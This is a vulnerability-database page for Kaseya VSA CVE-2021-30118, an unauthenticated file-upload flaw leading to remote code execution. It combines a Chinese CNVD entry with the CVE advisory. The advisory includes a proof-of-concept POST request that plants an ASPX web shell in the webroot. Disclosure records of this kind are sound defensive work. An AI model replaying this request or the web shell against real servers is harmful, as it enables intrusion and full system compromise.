Vulnerability-Lookup

CNVD-2021-50175

Vulnerability from cnvd - Published: 2021-07-13

Title

Kaseya VSA远程代码执行漏洞

Description

Kaseya VSA是美国Kaseya公司的托管服务提供商 (MSP) 常用来管理客户网络的RMM（远程监控和管理）软件。 Kaseya VSA 9.5.5之前版本存在安全漏洞，攻击者可利用该漏洞远程执行代码。

Severity

高

Patch Name

Kaseya VSA远程代码执行漏洞的补丁

Patch Description

Kaseya VSA是美国Kaseya公司的托管服务提供商 (MSP) 常用来管理客户网络的RMM（远程监控和管理）软件。 Kaseya VSA 9.5.5之前版本存在安全漏洞，攻击者可利用该漏洞远程执行代码。目前，供应商发布了安全公告及相关补丁信息，修复了此漏洞。

Formal description

目前厂商已发布升级补丁以修复漏洞，补丁获取链接： https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/

Reference

https://nvd.nist.gov/vuln/detail/CVE-2021-30118

Impacted products

Name
Kaseya VSA <9.5.5

Show details on source website

JSON

To clipboard

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      "cveNumber": "CVE-2021-30118"
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  "isEvent": "\u901a\u7528\u8f6f\u786c\u4ef6\u6f0f\u6d1e",
  "number": "CNVD-2021-50175",
  "openTime": "2021-07-13",
  "patchDescription": "Kaseya VSA\u662f\u7f8e\u56fdKaseya\u516c\u53f8\u7684\u6258\u7ba1\u670d\u52a1\u63d0\u4f9b\u5546 (MSP) \u5e38\u7528\u6765\u7ba1\u7406\u5ba2\u6237\u7f51\u7edc\u7684RMM\uff08\u8fdc\u7a0b\u76d1\u63a7\u548c\u7ba1\u7406\uff09\u8f6f\u4ef6\u3002\r\n\r\nKaseya VSA 9.5.5\u4e4b\u524d\u7248\u672c\u5b58\u5728\u5b89\u5168\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u8fdc\u7a0b\u6267\u884c\u4ee3\u7801\u3002\u76ee\u524d\uff0c\u4f9b\u5e94\u5546\u53d1\u5e03\u4e86\u5b89\u5168\u516c\u544a\u53ca\u76f8\u5173\u8865\u4e01\u4fe1\u606f\uff0c\u4fee\u590d\u4e86\u6b64\u6f0f\u6d1e\u3002",
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  "referenceLink": "https://nvd.nist.gov/vuln/detail/CVE-2021-30118",
  "serverity": "\u9ad8",
  "submitTime": "2021-07-13",
  "title": "Kaseya VSA\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e"
}

CVE-2021-30118 (GCVE-0-2021-30118)

Vulnerability from cvelistv5 – Published: 2021-07-09 13:19 – Updated: 2024-08-03 22:24

Title

Unauthenticated Remote Code Execution in Kaseya VSA < v9.5.5

Summary

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request: ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> ``` The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered --- * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact --- This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

Assigner

mitre mitre root

References

4 references

URL	Tags
https://csirt.divd.nl/2021/07/07/Kaseya-Limited-D…	x_refsource_CONFIRM
https://csirt.divd.nl/CVE-2021-30118	x_refsource_CONFIRM
https://csirt.divd.nl/DIVD-2021-00011	x_refsource_CONFIRM
https://helpdesk.kaseya.com/hc/en-gb/articles/360…	x_refsource_CONFIRM

Credits

Discovered by Wietse Boonstra of DIVD Additional research by Frank Breedijk of DIVD

Show details on NVD website

JSON

To clipboard

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Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.